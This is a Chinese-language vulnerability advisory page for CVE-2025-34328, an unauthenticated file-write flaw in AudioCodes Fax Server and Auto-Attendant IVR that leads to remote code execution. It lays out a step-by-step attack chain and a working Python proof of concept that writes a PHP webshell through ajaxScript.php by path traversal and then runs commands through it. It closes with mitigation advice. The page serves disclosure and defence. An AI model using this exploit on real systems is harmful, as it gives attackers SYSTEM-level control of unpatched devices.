IPBUF安全漏洞报告
English
CVE-2025-34328 CVSS 9.8 严重

CVE-2025-34328: AudioCodes Fax Server 未经授权文件上传远程代码执行漏洞

披露日期: 2025-11-19

漏洞信息

漏洞编号
CVE-2025-34328
漏洞类型
未授权文件上传/远程代码执行(RCE)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
AudioCodes Fax Server, AudioCodes Auto-Attendant IVR

相关标签

CVE-2025-34328AudioCodesFax ServerIVR未授权文件上传远程代码执行RCE文件写入无需认证CVSS 9.8

漏洞概述

CVE-2025-34328是AudioCodes公司Fax Server和Auto-Attendant IVR设备中的一个严重安全漏洞,CVSS评分高达9.8。该漏洞存在于设备的Web管理组件F2MAdmin中,由于ajaxScript.php脚本的saveScript操作存在未授权访问缺陷,攻击者无需任何认证即可利用此漏洞。攻击者通过构造恶意请求,可以将任意文件内容写入服务器的Web可访问目录,并进一步执行这些文件以获得系统控制权。由于Web服务在Windows平台上以NT AUTHORITY\SYSTEM权限运行,攻击成功后将直接获得系统最高权限。此漏洞影响版本包括2.6.23及之前的所有版本,2025年11月19日由VulnCheck安全研究员披露。

技术细节

该漏洞的根本原因在于AudioCodes Fax Server和IVR设备的Web管理接口缺乏适当的访问控制机制。具体来说,端点AudioCodes_files/utils/IVR/diagram/ajaxScript.php的saveScript功能允许未认证用户指定服务器端文件路径并写入任意内容。攻击者可以通过HTTP POST请求向该端点发送包含恶意脚本代码的数据,服务器会将其写入指定路径。由于写入路径位于Web可访问目录(如/images/或类似目录),攻击者随后可以通过HTTP请求直接访问并执行这些恶意脚本。在Windows部署环境中,Web服务进程以NT AUTHORITY\SYSTEM权限运行,这意味着成功利用此漏洞的攻击者将获得系统级完全控制权,包括执行任意命令、访问敏感数据、植入后门等操作。

攻击链分析

STEP 1
步骤1: 信息收集
扫描目标服务器,发现AudioCodes Fax Server/IVR设备,确认版本是否<=2.6.23
STEP 2
步骤2: 定位漏洞端点
访问AudioCodes_files/utils/IVR/diagram/ajaxScript.php端点,确认saveScript功能可未授权访问
STEP 3
步骤3: 构造恶意请求
构造HTTP POST请求,设置action为saveScript,scriptContent为PHP webshell代码,scriptPath为可访问路径如../../images/shell.php
STEP 4
步骤4: 上传webshell
发送构造的请求将webshell文件写入服务器Web可访问目录
STEP 5
步骤5: 执行命令
通过HTTP GET请求访问上传的webshell,在URL参数中传递系统命令实现远程代码执行
STEP 6
步骤6: 持久化控制
由于Web服务以SYSTEM权限运行,可进一步植入后门、创建管理员账户或横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-34328 PoC - Unauthenticated File Upload to RCE # Target: AudioCodes Fax Server / Auto-Attendant IVR def exploit(target_url, lhost, lport): """ Exploit for CVE-2025-34328 AudioCodes Fax Server unauthenticated file upload leading to RCE """ # Step 1: Upload malicious PHP webshell via ajaxScript.php upload_url = f"{target_url}/AudioCodes_files/utils/IVR/diagram/ajaxScript.php" # PHP webshell payload webshell = f"<?php system($_GET['cmd']); ?>" # Construct the saveScript request files = { 'action': (None, 'saveScript'), 'scriptContent': (None, webshell), 'scriptPath': (None, '../../images/shell.php') } print(f"[*] Uploading webshell to {upload_url}...") try: response = requests.post(upload_url, files=files, timeout=10) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text}") except Exception as e: print(f"[!] Upload failed: {e}") return False # Step 2: Execute the uploaded webshell shell_url = f"{target_url}/images/shell.php" print(f"[*] Executing webshell at {shell_url}...") cmd = f"whoami" try: exec_url = f"{shell_url}?cmd={cmd}" response = requests.get(exec_url, timeout=10) print(f"[*] Command output: {response.text.strip()}") except Exception as e: print(f"[!] Execution failed: {e}") return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://192.168.1.100") sys.exit(1) target = sys.argv[1].rstrip('/') exploit(target, "0.0.0.0", "4444")

影响范围

AudioCodes Fax Server <= 2.6.23
AudioCodes Auto-Attendant IVR <= 2.6.23

防御指南

临时缓解措施
立即在网络边界设备(如防火墙、WAF)上阻断对路径/AudioCodes_files/utils/IVR/diagram/ajaxScript.php的外部访问。同时将AudioCodes Fax Server和IVR设备置于内网隔离区域,严格限制对其管理接口的访问来源。如设备已停止支持(如官方公告的EoS产品),建议制定迁移计划更换为其他解决方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表